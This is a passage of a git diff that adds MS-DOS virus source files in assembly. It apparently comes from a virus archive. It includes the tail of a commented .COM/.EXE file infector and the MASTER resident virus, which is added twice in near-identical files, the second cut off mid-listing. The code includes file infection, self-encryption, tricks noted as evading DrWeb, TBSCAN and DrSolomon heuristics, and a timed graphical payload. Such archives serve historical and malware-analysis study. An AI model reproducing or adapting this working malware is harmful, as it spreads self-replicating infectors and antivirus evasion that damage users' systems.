+pop ax +sub ax, cx +sbb dx, 0 + +mov cl, 0Ch +shl dx, cl +mov cl, 4 +push ax +shr ax, cl +add dx, ax +shl ax, cl +pop cx +sub cx, ax + +mov word ptr [bp+ exehead+14h], cx ;new calculated values +mov word ptr [bp+ exehead+16h], dx ;put in the header zone +mov word ptr [bp+ exehead+0Eh], dx ;in memory +mov word ptr [bp+ exehead+10h], 0FFFEh +; +;-----------------calculate new size--------------------------- +; +pop dx +pop ax +push ax +add ax, fin_cryptage-virus +adc dx, 0 +mov cl, 7 +shl dx, cl +mov cl, 9 +shr ax, cl +add ax, dx +inc ax +mov word ptr [bp+ exehead+04h], ax +pop ax +add ax, fin_cryptage-virus +and ah, 1 +mov word ptr [bp+ exehead+02h], ax +; +;-----------------write signature---------------------------------- +; +mov word ptr [bp+exehead+12h], "ee" +; +;--------------------infection--------------------- +; +call infecte +; +;----------write new header of the infected file on disk--------------------- +; +mov ax, 4200h +push ax ;this stupid push/pop +pop ax ;to avoid DrWeb heuristic +xor cx, cx +xor dx, dx +int 21h ;pointer at start of file on disk + +mov cx, 1Ch +lea dx, [bp+exehead] +call ecrit_fichier ;write on disk modified header +; +;----------restore time/date of the file-------------------- +; +call restaure_time +; +;----------close file and restore file attributes---------------------- +; +call remise_en_etat +; +;--------verify how many .exe files we have infected------------------ +; +mov byte ptr cl, [bp+offset compteur_exe] ;counter in cl +inc cl ;one more +cmp cl, 3 ;we infect 3? +je bombe_ou_pas ;yes => let's stop infections +mov byte ptr [bp+offset compteur_exe], cl ;no => write counter +; +;--------let's infect a new .exe file------------------ +; +jmp exe_suivant ;go infect next file +; +;--------------------does the bomb explode?--------------------- +; +bombe_ou_pas: +mov ah, 2Ch ;internal clock: ch=hour et cl=minute +int 21h +cmp cl, 30d ;minutes = 30? +jne redonne_main ;no => return to host +cmp dh, 30d ;yes => test seconds +ja redonne_main ;if secondes > 30 we return to host +jmp bombe ;if seconds <30 (1/120) the bomb explodes + +;********************************************************************** +; RETURN TO HOST +;********************************************************************** + +redonne_main: + +;------------------DTA in the normal zone----------------------------- +; (to avoid perturbing host program) +; +push 1a00h ;push/pop +pop ax ;to avoid flag F +mov dx, 80h ;to 80h, the normal zone +int 21h +; +;--------restore the directory in which we were when we started----------- +; +lea dx, [bp+offset repert] +mov ax, 3B00h ;3bh=change directory +int 21h +; +;-----------active host is a .com or a .exe?------------------- +; +cmp byte ptr cs:0, 0CDh ;a .com file have an Int20h +je redonne_main_com ;(word CD 20) at offset 0 +; +;-------------return to an .exe--------------------------- +; +redonne_main_exe: + +pop ds ;remember the very first push ds +push ds +pop es ;get es=ds + +mov ax, es +add ax, 10h +add word ptr cs:[bp+vCS], ax +cli +add ax, word ptr cs:[bp+vSS] ;adjust stack pointers +mov ss, ax +mov sp, word ptr cs:[bp+vSP] +sti +jmp retour_au_prog + +cinq_octets: +pip db 90h,90h ;zone to keep file information +pcs db 90h,90h ;EXE: keep ip, cs, ss, sp +pss db 90h,90h ;COM: keep 5 first bytes +psp db 90h,90h + +retour_au_prog: +db 0EAh ;far jump opcode, for .exe +contenu: +vIP dw 0 ;zone to keep temporarly file info +vCS dw 0 ;EXE: keep ip, cs, ss, sp +vSS dw 0 ;COM: keep 5 first bytes +vSP dw 0 +; +;-----------------------return to a .com--------------------------- +; +redonne_main_com: +pop ax ;clean stack (remember first push ds) +; +;---------replace 5 first bytes of the host in memory---------- +; +lea si, [bp+offset contenu] ;memory zone where they are +mov ax, 101h ;this is to +dec ax ;avoid flag B in TBSCAN +mov di, ax ;a .com start at offset 100h +movsw +movsw +movsb ;move 5 bytes +; +;-----------------------return to host---------------------------- +; (remember the very first CALL: we have 103h on the stack) +; +redonner_la_main: +pop ax ;get 103h +sub ax, 3 ;we want 100h +push ax ;re-put it on stack (for the RET) +xor ax, ax ;a starting program +xor bx, bx ;likes to find all +xor cx, cx ;registers equals +xor dx, dx ;to zero +ret ;return to normal program + +;********************************************************************** +; CHANGE DIRECTORY +;********************************************************************** + +; +;----------climb to upper directory-------------------------- +; +rep_sup: +lea dx, [bp+offset dot] ;let's go to ".." repertory +mov ah, 3bh +int 21h ;are we in the root? +jc on_redescend ;yes => c=1, let's go down now +jmp recherche ;no => find first file +; +;---if we are in root, let's go to all "first-level" subdirectories------- +; +on_redescend: +mov ah, 4eh ;find first file +mov cx, 16 ;with directory attribute +lea dx, [bp+offset dir_masque] ;called "*.*" +int 21h ;one found? +jnc contin ;yes => continue +jmp bombe_ou_pas ;no => test time for the bomb +contin: + +cmp byte ptr[bp+offset phase], 0 ;how is the dir counter (called phase)? +je le_premier ;phase=0 => do not find next dir + +xor bh, bh +mov bl, byte ptr [bp+offset phase] ;bx=phase + +rep_suivant: ;loop to avoid all subdir already infected +mov cx, 16 ;directory attributes +mov ah, 4fh ;find next dir +int 21h ;one found? +jnc contin2 ;yes => continue +jmp bombe_ou_pas ;no => test time for the bomb +contin2: + +cmp byte ptr [bp+offset dta+15h], 16 ;is it really a directory? +jne rep_suivant ;no => find next + +dec bx ;this routine is made to infect +cmp bx, 0 ;directory "number phase" +jne rep_suivant ;if bx<>0, the subdir is already infected + +le_premier: +add byte ptr[bp+offset phase], 1 ;OK, we are on a subdir not infected + +lea dx, [bp+offset dta+1eh] ;so, let's change +mov ah, 3bh ;directory to it +int 21h + +jmp recherche ;and infect this new subdirectory + +;********************************************************************** +; ROUTINE OFTEN USED (to save bytes) +;********************************************************************** + +;-------------------verify extension------------------------- + +verifie_extension: +mov cx, 13d ;max size of a file name (not really, but +lea si, [bp+offset dta+1eh] ;who cares? I've stolen this routine somewhere) +compare: ;loop for detecting start of the extension +lodsb ;letter in al +cmp al, "." ;is it a point? +jne compare ;no => test next letter +inc si ;yes => si points on second extension letter +ret + +;------------------change crypting key--------------- + +change_clef: +mov ah, 2Ch ;internal clock +int 21h ;cx get quite randomic +mov [bp+offset clef], cl ;let's keep it somewhere +ret + +;------------------------open file------------------------- + +ouvre_et_verif_header: +mov ax, 3D02h ;3D02h=open file +lea dx, [bp+offset dta+1eh] ;name of the file in DTA +int 21h +jnc saut2 ;one file found, c=0, continue +jmp remise_en_etat ;not found => arrange file +saut2: ;continue +mov [bp+offset handle],ax ;keep handle in memory +; +;----------------read first 1Ch bytes of the file----------------- +; +xchg ax, bx ;handle in ax +mov cx, 1Ch ;number of bytes to read +mov ax, 3F00h ;3F=read file +lea dx, [bp+offset exehead] ;dx on stockage zone +int 21h +jnc saut3 ;no problem, c=0, continue +jmp remise_en_etat ;problem => arrange file +saut3: ; continue +; +;-----------is the file already infected?------------- +; +cmp byte ptr [bp+offset exehead+18h], 40h ;is it a windows file? +jz deja_infecte ;yes => don't touch +cmp word ptr [bp+offset exehead+3], "ee" ;.com already infected? +jz deja_infecte ;yes => don't touch +cmp word ptr [bp+offset exehead+12h], "ee" ;.exe already infected? +jnz saut4 ;no => continue +deja_infecte: +jmp remise_en_etat ;let's arrange the file +saut4: ;continue +; +;--------------------is the size correct?------------------- +; +cmp [bp+offset dta+1ah], 500 ;do not infect if file<500 bytes +ja verif_ok ;it's OK +; +;--------arrange file and close it in case of non-infection----------- +; +remise_en_etat: +mov ah, 3Eh ;3Eh=close file +int 21h +; +;-----------------restore file attributes----------------------- +; +call restaure_attrib ;restore attributes +; +;------after arranging the file, let's go back to the CALL------- +; +ret +; +;----------------------if it's good to infect,------------------- +; let's go back one instruction after the call +; +verif_ok: +pop ax ;get offset of the return on the stack +add ax, 2 ;add 2 (size of a short JMP) +push ax ;put it back on the stack +ret ;return 2 bytes after the call + +;-----------------------------infection-------------------------- + +;first, let's write non-encrypted part + +infecte: +mov cx, debut_cryptage - virus ;size of non-encrypted part +lea dx, [bp+offset virus] ;dx on beginning of this part +call ecrit_fichier ;write this on disk + +;second, let's crypt next part in memory + +mov dl, [bp+offset clef] ;dl=new key +lea si, [bp+offset debut_cryptage] ;si=start of crypted zone +lea di, [bp+offset zone_de_travail] ;di=temp memory zone for crypting +mov cx, fin_cryptage - debut_cryptage ;cx=number of bytes to crypt +crypte_et_transfere: ;the loop +lodsb ;get original byte +xor al, dl ;crypt it +stosb ;put it on memory +loop crypte_et_transfere ;again + +;third, disk writing of the crypted zone + +mov cx, fin_cryptage - debut_cryptage ;number of bytes to write +lea dx, [bp+offset zone_de_travail] ;dx=offset of the temp zone +call ecrit_fichier ;write it on disk +ret + +;-------------------modify attributes------------------------- + +attrib_a_zero: +xor cx, cx ;if we want to put attrib to zero +jmp suite_attrib + +restaure_attrib: +xor ch, ch ;if we want to restore attrib +mov cl, byte ptr [bp+offset dta+15h] ;from the DTA value + +suite_attrib: +lea dx, [bp+offset dta+1eh] ;file name +push 4301h ;43h=change attribs +pop ax ;avoid flag F from TBSCAN +int 21h +ret + +;---------------------restore file time/date----------------------- + +restaure_time: +mov dx, word ptr [bp+offset dta+18h] ;date from DTA to dx +mov cx, word ptr [bp+offset dta+16h] ;time from DTA to cx +push 5701h ;5701h=change time/date +pop ax ;avoid flag F from TBSCAN +int 21h +ret + +;------------------write file on disk---------------------- + +ecrit_fichier: +push 4000h ;the famous 40Hex... push/pop to +pop ax ;avoid DrSolomon and DrWeb heuristic +int 21h +ret + +;--------------------move pointer on disk--------------------------- + +pointeur_debut: ;to put pointer at the beginning +xor dx, dx +pointeur_debut_sans_dx: ;i think i don't use this... never mind +xor cx, cx +mov ax, 4200h ;42h=move disk pointer +push ax ;stupid push/pop to avoid +pop ax ;DrWeb heuristic +int 21h +ret + +;********************************************************************** +; CODE OF THE GRAPHIC BOMB: A 3D VOXEL EFFECT +;********************************************************************** +bombe: +largeur equ 128 ;size of the grid + +;-------------------------VGA------------------------------- + +mov ax, 13h +int 10h + +;----------------------black palette-------------------------------- +; because mountains are calculated directly on screen) + +mov dx, 3c8h ;dx = palette port +xor al, al ;start with color 0 +out dx, al ;write first color in the port +inc dx ;define all others colors +mov cx, 768 ;256 colors x 3 composantes, all at zero +tout_noir: +out dx, al ;write black on port +loop tout_noir + +;---------draw to an area of the screen some big blocks---------- +; area used: 50 lines x 128 columns on the left top + +mov ax, 0A000h ;video memory +mov es, ax ;in es +mov cx, 150 ;number of blocks +boucle: + mov ax, [bp+offset aleat] + mov dx, 8405h ;semi-random routine stolen + mul dx ;in a fire demo + inc ax ;give a random dx + mov [bp+offset aleat], ax +push dx ;dl = random byte for the line +shr dl, 1 ;now 041 +ja pas_pixel ;we don't draw it +cmp dl, 5 ;if dl<5 +jb pas_pixel ;we don't draw it +mov ax, 320 ;calculation of video offset +xor dh, dh ;we have to multiply just dl +mul dx ;by 320 +pop dx ;dh = random byte for the column +cmp dh, 112 ;if dh>112 +ja pas_pixel ;we don't draw it +cmp dh, 8 ;if dh<8 +jb pas_pixel ;we don't draw it +xor dl, dl ;we have to multiply just dh +xchg dl, dh ;we put it in dl +add ax, dx ;let's add line*320 and column => random place +xchg di, ax ;this random offset in di +mov al, 255 ;big blocks are in color 255 +push cx ;save loop counter +mov bl, 4 ;blocks are 4 pixels tall +gros_pixel: +mov cx, 10 ;blocks are 10 pixels wide +rep stosb ;write them on screen... +add di, 310 +dec bl +jne gros_pixel +pop cx +pas_pixel: +loop boucle + +;-----soften blocks to get mountains, by a immobile fire effect---------- + +;here es=video +mov ax, cs ;get cs +add ah, 16 ;add to it 256*16 bytes to get ds +mov ds, ax ;ds now points on a free segment (i hope so :) +push ds ;on the stack (cf [@@] later) + +mov bl, 25 ;bl = number of degradation cycles +cycle: +xor si, si ;ds:si=free segment +xor di, di ;es:di=video +xor ax, ax +mov cx, 50*320 ;we degrade on 50 first lines of the screen +degrade: +mov al, es:[di-1] +add al, es:[di+1] +adc ah,0 +add al, es:[di+320] ;sum all pixels colors around offset di +adc ah,0 +add al, es:[di-320] +adc ah,0 +shr ax, 1 +shr ax, 1 ;divide this color by 4, so it's the average +je pas_dec ;if color=0, color stays to 0 +dec al ;on other case, we decrement color +pas_dec: +mov byte ptr ds:[si], al ;new color value in free segment +inc si +inc di +loop degrade ;loop for all the 50x128 area + +xor si, si ;one degradation cycle finished: +xor di, di ;we copy all the area +mov cx, (50*320)/2 ;from the free segment +rep movsw ;to video memory + +dec bl ;one cycle more +jne cycle ;25 cycles? No => again + + ;we now have on the screen (but we can't see it + ;because all is black) soft spots, this is the + ;landscape in 2D + +;--------------creation of the 3D table (x,y,z)------------------------ +; from the 2D landscape on screen; this table is +; 128x50x(1+1+2) = 25 Ko, this is why we need one free segment + +;here es=video ds=free segment +push es ;we want ds=video et es=free segment +push ds +pop es +pop ds + +mov cx, largeur*50+2 ;there will be 128x50 coordinates (+2 for security) +xor si, si ;start of video memory +xor di, di ;start of free segment +mov dl, 128 ;we need a line counter +table: + +mov ah, dl ;the X (left/right): between 0 and 128 +shl ah, 1 ;now between 0 and 256 +mov al, 128 +sub al, ah ;now between -128 and +128 +stosb ;put it on free segment + +movsb ;the Y (top/bottom) is directly the pixel color +dec dl ;see if we are at the end of the line +jne pas_fin_de_ligne ;if dl<>0 we are not +mov dl, 128 ;if dl=0 the line counter is re-put to 128 +add si, 320-largeur ;and the video offset go to next line +pas_fin_de_ligne: + +mov ax, cx ;the Z (near/far): between 0 and 50*128 +shl ax, 1 ;now between 0 and 50*256 +xor al, al ;we just need ah (between 0 and 50) +xchg ah, al ;put it on al +shl al, 1 ;now between 0 and 100 +shl al, 1 ;now between 0 and 200 +add ax, 0080h ;now between 128 and 328 (nearest Z will be 128) +stosw ;put it on free segment +loop table ;calculate all table + +;------------------delete the 2D landscape------------------------ + +;here ds=video es=free segment +push ds +pop es +xor di, di ;from the beginning of screen +mov cx, (320*50)/2 ;delete all the 50 lines +xor ax, ax ;with words=0, faster than bytes +rep stosw ;delete all + +;---------put text cursor at good coordinates on screen----------------- + +mov dx, 030Ah ;dh, dl = line/column coordinates +xor bh, bh ;on page 0 +mov ah,02h ;int BIOS 02h=put cursor +int 10h + +;--------------write the 2 text messages------------------------- + +;ici ds=es=video +push cs +pop ds +lea si, [bp+offset message] ;si points on message +mov cx, 21 ;message length +affiche_message: + lodsb ;get letter + mov bl, 125 ;color=red + mov ah, 0Eh ;int BIOS OEh=write one letter + int 10h +loop affiche_message + +add dx, 507 ;adjust coordinates for second message +mov ah, 02h ;int BIOS 02h=put cursor +int 10h +lea si, [bp+offset messag2] ;si points on message +mov cx, 32 ;message length +affiche_messag2: + lodsb ;get letter + mov bl, 50 ;color=yellow + mov ah, 0Eh ;int BIOS OEh=write one letter + int 10h +loop affiche_messag2 + +;------------------adjust martian palette---------------------------- + + mov dx, 3c8h ;dx = palette port + xor al, al ;start with color 0 + out dx, al ;write first color in port + inc dx ;define all other colors + + xor cx, cx ;starts with black +rouges: + mov al, cl + out dx, al ;loop to define all 63 first colors + xor ax, ax ;with a growing red + out dx, al + out dx, al +inc cl +cmp cl, 63 +jne rouges + + xor cx, cx +jaunes: + mov al, 63 + out dx, al + mov al, cl ;loop to define 63 next colors + out dx, al ;with a growing green + xor al, al + out dx, al + inc cx + cmp cx, 63 +jne jaunes + + +;-------------------animation of the landscape------------------------ + +;here ds=cs, es=video +pop ds ;ds points to free segment [@@] see above +anime: ;get here when one screen is totally drawn +mov cx, largeur*50 ;we will draw 50x128 voxels +xor si, si ;ds:si=where 3D coordinates are (free seg) +xor di, di ;es:di=video +dessine: ;get here when one voxel is drawn +lodsb ;put X in al +xchg dl, al ;transfer it in dl +lodsb ;put Y in al +xchg bl, al ;transfer it in bl +mov byte ptr bh, ds:[si+3+4] ;put NEXT_Y (for the shadow effect) in bh +lodsw ;put Z in ax +mov word ptr cs:[bp+offset z], ax ;not enough registers: put Z in memory +cmp ax, 0080h ;is the voxel at the nearest limit? +ja ca_sort_pas ;no => it can advance more +add ax, 200 ;yes => return at the farest limit +ca_sort_pas: +dec ax ;it advances: the Z decrements +mov word ptr ds:[si-2], ax ;and we write this new Z as new coordinate + +;------calculate xx and yy (2D screen) from x, y and z (3D space)------ +; by a perspective effect +; (remember: X is in dl, Y in bl, Z in its memory location) + +push cx ;we will need cx here, so save it on stack +xchg ah, dl ;X coordinate from dl to ah +cmp ah, 128 ;X positive? +jb suite5 ;yes => no problem +neg ah ;no => let's "positive" it +mov byte ptr cs:[bp+offset signe],1 ;and let's remember it was negative +suite5: ;NB: calculations are in "fixed point" mode +xor al, al ;X is in ah: same "order" than Z (word) +xor dx, dx ;dx will not fuck up the division +div word ptr cs:[bp+offset z] ;X/Z +push ax ;result is the 2D coordinate (XX), push it + +mov al, bl ;Y coordinate from bl to al +mov cl, 4 ;divise Y/16 to have a mountain height +shr al, cl ;between 0 and 16 +mov ah, 80 ;beware: mountains are "top on bottom" +sub ah, al ;level 0 = altitude 80, so soustraction + ;('cause in VGA 0,0 = top left) +xor al, al ;"fixed point" mode: Y is now in ah +xor dx, dx ;dx will not fuck up the division +div word ptr cs:[bp+offset z] ;Y/Z +xchg cx, ax ;the result is the 2D coordinate (YY) + +;---------------calculate video offset of the voxel------------------- +; (remember: XX is on stack and YY is in CX) + +pop dx ;get XX +cmp cx, 142 ;do not write voxel if too at bottom +ja pas_plot +cmp dx, 155 ;do not write voxel if too on the side +ja pas_plot + +push dx ;put again XX on stack +mov ax, 320 ;we gonna calculate voxel video offset +mul cx ;multiply YY by 320 +pop dx ;get XX +cmp byte ptr cs:[bp+offset signe], 1 ;are X and so XX negatives? +jne pos +sub ax, dx ;yes => offset is ax - XX +mov byte ptr cs:[bp+offset signe], 0 ;and we can forget this sign now +jmp suite4 +pos: +add ax, dx ;no => offset is ax + XX + +suite4: +add ax, (320*60)+160 ;to put the animation at screen bottom + +;--------calculate voxel color (with 2 shadow effects)------------------ + +;first shadow effect, depends on curvature of mountain sides + +mov di, ax ;ax is video offset of the voxel +xchg ax, bx ;remember: bx contains Y et NEXT_Y +sub al, ah ;shadow will depend on NEXT_Y - Y; can +add al, 100 ;be >0 (one side of the mountain) + ;or <0 (other side), so add an + ;average value + +;if voxel is too far, put it black + +mov word ptr bx, cs:[bp+offset z] ;now bx=Z (remember 128 OK, write it +xor al, al ;yes => write a black voxel instead +pas_eteindre: + +;second shadow effect: the farest, the darkest + +shr bx, 1 ;now 64 DOS Ver > or = 3.30 + mov beg-1,byte ptr 0 + mov [7b4h],offset pr7b4 + mov [7b6h],cs ; 7b4 + +not3.3: mov al,0a9h ; Change attrib +cont: repne scasb + cmp es:[di],0ffd8h + jne cont + mov al,18h + stosb + + push ss + pop ds + + push ss + pop es + +residnt: xchg ax,dx + retf ; ret far + +;--------Interrupt process--------; + +i21pr: push ax + push dx + push ds + push cx + push bx + push es + +if4b04: cmp ax,4b04h + je rti + + xchg ax,cx + mov ah,02fh + int 0ffh + +if11_12: cmp ch,11h + je yes + cmp ch,12h + jne inffn +yes: xchg ax,cx + int 0ffh + push ax + test es:byte ptr [bx+19],0c0h + jz normal + sub es:[bx+36],len +normal: pop ax +rti: pop es + pop bx + pop cx + add sp,12 + iret + +inffn: mov ah,19h + int 0ffh + push ax + +if36: cmp ch,36h ; -free bytes + je beg_36 +if4e: cmp ch,4eh ; -find first FM + je beg_4b +if4b: cmp ch,4bh ; -exec + je beg_4b +if47: cmp ch,47h ; -directory info + jne if5b + cmp al,2 + jae begin ; it's hard-disk +if5b: cmp ch,5bh ; -create new + je beg_4b +if3c_3d: shr ch,1 ; > -open & create + cmp ch,1eh ; - + je beg_4b + + jmp rest + +beg_4b: mov ax,121ah + xchg dx,si + int 2fh + xchg ax,dx + xchg ax,si + +beg_36: mov ah,0eh ; change current drive + dec dx ; + int 0ffh ; + +begin: + push es ; save DTA address + push bx ; + sub sp,44 + mov dx,sp ; change DTA + push sp + mov ah,1ah + push ss + pop ds + int 0ffh + mov bx,dx + + push cs + pop ds + + mov ah,04eh + mov dx,offset file + mov cx,3 ; r/o , hidden + int 0ffh ; int 21h + jc lst + +next: test ss:[bx+21],byte ptr 80h + jz true +nxt: mov ah,4fh ; find next + int 0ffh + jnc next +lst: jmp last + +true: cmp ss:[bx+27],byte ptr 0fdh + ja nxt + mov [144],offset i24pr + mov [146],cs + + les ax,[4ch] ; int 13h + mov i13adr,ax + mov i13adr+2,es + jmp short $ +beg: mov [4ch],offset i13pr + mov [4eh],cs + + +not3_3: push ss + pop ds + push [bx+22] ; time + + push [bx+24] ; date + + push [bx+21] ; attrib + + lea dx,[bx+30] ; ds : dx = offset file name + mov ax,4301h ; Change attrib !!! + pop cx + and cx,0feh ; clear r/o and CH + or cl,0c0h ; set Infect. attr + int 0ffh + + mov ax,03d02h ; open + int 0ffh ; int 21h + xchg ax,bx + + push cs + pop ds + + mov ah,03fh + mov cx,3 + mov dx,offset first + int 0ffh + + mov ax,04202h ; move fp to EOF + xor dx,dx + mov cx,dx + int 0ffh + mov word ptr cal_ofs+1,ax + + mov ah,040h + mov cx,len + mov dx,ofs + int 0ffh + jc not_inf + + mov ax,04200h + xor dx,dx + mov cx,dx + int 0ffh + + mov ah,040h + mov cx,3 + mov dx,offset cal_ofs + int 0ffh + +not_inf: mov ax,05701h + pop dx ; date + pop cx ; time + int 0ffh + + mov ah,03eh ; close + int 0ffh + + les ax,dword ptr i13adr + mov [4ch],ax ; int 13h + mov [4eh],es + +last: add sp,46 + pop dx + pop ds ; restore DTA + mov ah,1ah + int 0ffh + +rest: pop dx ; restore current drive + mov ah,0eh ; + int 0ffh ; + + pop es + pop bx + pop cx + pop ds + pop dx + pop ax + +i21cl: iret ; Return from INT FC + +i24pr: mov al,3 ; Critical errors + iret + +i13pr: cmp ah,3 + jne no + inc byte ptr cs:activ + dec ah +no: jmp dword ptr cs:i13adr + +pr7b4: db 2eh,0d0h,2eh + dw offset activ +; shr cs:activ,1 + jnc ex7b0 + inc ah +ex7b0: jmp dword ptr cs:[7b0h] + +;-------- + +file: db "*",32,".COM" + + +activ: db 0 + + dw offset i21pr ; int 0fch + dw 0 + +cal_ofs: db 0e8h + +end: + dw ? ; cal_ofs + +i13adr: dw ? + dw ? + + +; The End.--- diff --git a/MSDOS/Virus.MSDOS.Unknown.master3.asm b/MSDOS/Virus.MSDOS.Unknown.master3.asm new file mode 100644 index 00000000..4570e8ec --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.master3.asm @@ -0,0 +1,308 @@ +; (C) Copyright VirusSoft Corp. Sep., 1990 +; +; This is the SOURCE file of last version of MASTER,(V500),(MG) ect. +; virus, distributed by VirusSoft company . First version was made +; in May., 1990 . Please don't make any corections in this file ! +; +; Bulgaria, Varna +; Sep. 27, 1990 + + + + ofs = 201h + len = offset end-ofs + + call $+6 + + org ofs + +first: dw 020cdh + db 0 + + xchg ax,dx + pop di + dec di + dec di + mov si,[di] + dec di + add si,di + push cs + push di + cld + movsw + movsb + + mov ax,4b04h + int 21h + jnc residnt + + xor ax,ax + mov es,ax + mov di,ofs+3 + mov cx,len-3 + rep movsb + + les di,[6] + mov al,0eah + dec cx + repne scasb + les di,es:[di] ; Searching for the INT21 vector + sub di,-1ah-7 + + db 0eah + dw offset jump,0 ; jmp far 0000:jump + +jump: push es + pop ds + mov si,[di+3-7] ; + lodsb ; + cmp al,68h ; compare DOS Ver + mov [di+4-7],al ; Change CMP AH,CS:[????] + mov [di+2-7],0fc80h ; + mov [di-7],0fccdh ; + + push cs + pop ds + + mov [1020],di ; int 0ffh + mov [1022],es + + mov beg-1,byte ptr not3_3-beg + jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30 + mov beg-1,byte ptr 0 + mov [7b4h],offset pr7b4 + mov [7b6h],cs ; 7b4 + +not3.3: mov al,0a9h ; Change attrib +cont: repne scasb + cmp es:[di],0ffd8h + jne cont + mov al,18h + stosb + + push ss + pop ds + + push ss + pop es + +residnt: xchg ax,dx + retf ; ret far + +;--------Interrupt process--------; + +i21pr: push ax + push dx + push ds + push cx + push bx + push es + +if4b04: cmp ax,4b04h + je rti + + xchg ax,cx + mov ah,02fh + int 0ffh + +if11_12: cmp ch,11h + je yes + cmp ch,12h + jne inffn +yes: xchg ax,cx + int 0ffh + push ax + test es:byte ptr [bx+19],0c0h + jz normal + sub es:[bx+36],len +normal: pop ax +rti: pop es + pop bx + pop cx + add sp,12 + iret + +inffn: mov ah,19h + int 0ffh + push ax + +if36: cmp ch,36h ; -free bytes + je beg_36 +if4e: cmp ch,4eh ; -find first FM + je beg_4b +if4b: cmp ch,4bh ; -exec + je beg_4b +if47: cmp ch,47h ; -directory info + jne if5b + cmp al,2 + jae begin ; it's hard-disk +if5b: cmp ch,5bh ; -create new + je beg_4b +if3c_3d: shr ch,1 ; > -open & create + cmp ch,1eh ; - + je beg_4b + + jmp rest + +beg_4b: mov ax,121ah + xchg dx,si + int 2fh + xchg ax,dx + xchg ax,si + +beg_36: mov ah,0eh ; change current drive + dec dx ; + int 0ffh ; + +begin: + push es ; save DTA address + push bx ; + sub sp,44 + mov dx,sp ; change DTA + push sp + mov ah,1ah + push ss + pop ds + int 0ffh + mov bx,dx + + push cs + pop ds + + mov ah,04eh + mov dx,offset file + mov cx,3 ; r/o , hidden + int 0ffh ; int 21h + jc lst + +next: test ss:[bx+21],byte ptr 80h + jz true +nxt: mov ah,4fh ; find next + int 0ffh + jnc next +lst: jmp last + +true: cmp ss:[bx+27],byte ptr 0fdh + ja nxt + mov [144],offset i24pr + mov [146],cs + + les ax,[4ch] ; int 13h + mov i13adr,ax + mov i13adr+2,es + jmp short $ +beg: mov [4ch],offset i13pr + mov [4eh],cs + ; +not3_3: push ss + pop ds + push [bx+22] ; time + + push [bx+24] ; date + + push [bx+21] ; attrib + + lea dx,[bx+30] ; ds : dx = offset file name + mov ax,4301h ; Change attrib !!! + pop cx + and cx,0feh ; clear r/o and CH + or cl,0c0h ; set Infect. attr + int 0ffh + + mov ax,03d02h ; open + int 0ffh ; int 21h + xchg ax,bx + + push cs + pop ds + + mov ah,03fh + mov cx,3 + mov dx,offset first + int 0ffh + + mov ax,04202h ; move fp to EOF + xor dx,dx + mov cx,dx + int 0ffh + mov word ptr cal_ofs+1,ax + + mov ah,040h + mov cx,len + mov dx,ofs + int 0ffh + jc not_inf + + mov ax,04200h + xor dx,dx + mov cx,dx + int 0ffh + + mov ah,040h + mov cx,3 + mov dx,offset cal_ofs + int 0ffh + +not_inf: mov ax,05701h + pop dx ; date + pop cx ; time + int 0ffh + + mov ah,03eh ; close + int 0ffh + + les ax,dword ptr i13adr + mov [4ch],ax ; int 13h + mov [4eh],es + +last: add sp,46 + pop dx + pop ds ; restore DTA + mov ah,1ah + int 0ffh + +rest: pop dx ; restore current drive + mov ah,0eh ; + int 0ffh ; + + pop es + pop bx + pop cx + pop ds + pop dx + pop ax + +i21cl: iret ; Return from INT FC + +i24pr: mov al,3 ; Critical errors + iret + +i13pr: cmp ah,3 + jne no + inc byte ptr cs:activ + dec ah +no: jmp dword ptr cs:i13adr + +pr7b4: db 2eh,0d0h,2eh + dw offset activ +; shr cs:activ,1 + jnc ex7b0 + inc ah +ex7b0: jmp dword ptr cs:[7b0h] + +;-------- + +file: db "*",32,".COM" + +activ: db 0 + + dw offset i21pr ; int 0fch + dw 0 + +cal_ofs: db 0e8h + +end: + dw ? ; cal_ofs + +i13adr: dw ? + dw ? + + +; The End. \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.master31.asm b/MSDOS/Virus.MSDOS.Unknown.master31.asm new file mode 100644 index 00000000..43f92cb6 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.master31.asm @@ -0,0 +1,308 @@ +; (C) Copyright VirusSoft Corp. Sep., 1990 +; +; This is the SOURCE file of last version of MASTER,(V500),(MG) ect. +; virus, distributed by VirusSoft company . First version was made +; in May., 1990 . Please don't make any corections in this file ! +; +; Bulgaria, Varna +; Sep. 27, 1990 + + + + ofs = 201h + len = offset end-ofs + + call $+6 + + org ofs + +first: dw 020cdh + db 0 + + pop di + dec di + dec di + mov si,[di] + dec di + add si,di + push cs + push di + cld + movsw + movsb + xchg ax,dx + + mov ax,4b04h + int 21h + jnc residnt + + xor ax,ax + mov es,ax + mov di,ofs+3 + mov cx,len-3 + rep movsb + + les di,[6] + mov al,0eah + dec cx + repne scasb + les di,es:[di] ; Searching for the INT21 vector + sub di,-1ah-7 + + db 0eah + dw offset jump,0 ; jmp far 0000:jump + +jump: push es + pop ds + mov si,[di+3-7] ; + lodsb ; + cmp al,68h ; compare DOS Ver + mov [di+4-7],al ; Change CMP AH,CS:[????] + mov [di+2-7],0fc80h ; + mov [di-7],0fccdh ; + + push cs + pop ds + + mov [1020],di ; int 0ffh + mov [1022],es + + mov beg-1,byte ptr not3_3-beg + jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30 + mov beg-1,byte ptr 0 + mov [7b4h],offset pr7b4 + mov [7b6h],cs ; 7b4 + +not3.3: mov al,0a9h ; Change attrib +cont: repne scasb + cmp es:[di],0ffd8h + jne cont + mov al,18h + stosb + + push ss + pop ds + + push ss + pop es + +residnt: xchg ax,dx + retf ; ret far + +;--------Interrupt process--------; + +i21pr: push ax + push dx + push ds + push cx + push bx + push es + +if4b04: cmp ax,4b04h + je rti + + xchg ax,cx + mov ah,02fh + int 0ffh + +if11_12: cmp ch,11h + je yes + cmp ch,12h + jne inffn +yes: xchg ax,cx + int 0ffh + push ax + test es:byte ptr [bx+19],0c0h + jz normal + sub es:[bx+36],len +normal: pop ax +rti: pop es + pop bx + pop cx + add sp,12 + iret + +inffn: mov ah,19h + int 0ffh + push ax + +if36: cmp ch,36h ; -free bytes + je beg_36 +if4e: cmp ch,4eh ; -find first FM + je beg_4b +if4b: cmp ch,4bh ; -exec + je beg_4b +if47: cmp ch,47h ; -directory info + jne if5b + cmp al,2 + jae begin ; it's hard-disk +if5b: cmp ch,5bh ; -create new + je beg_4b +if3c_3d: shr ch,1 ; > -open & create + cmp ch,1eh ; - + je beg_4b 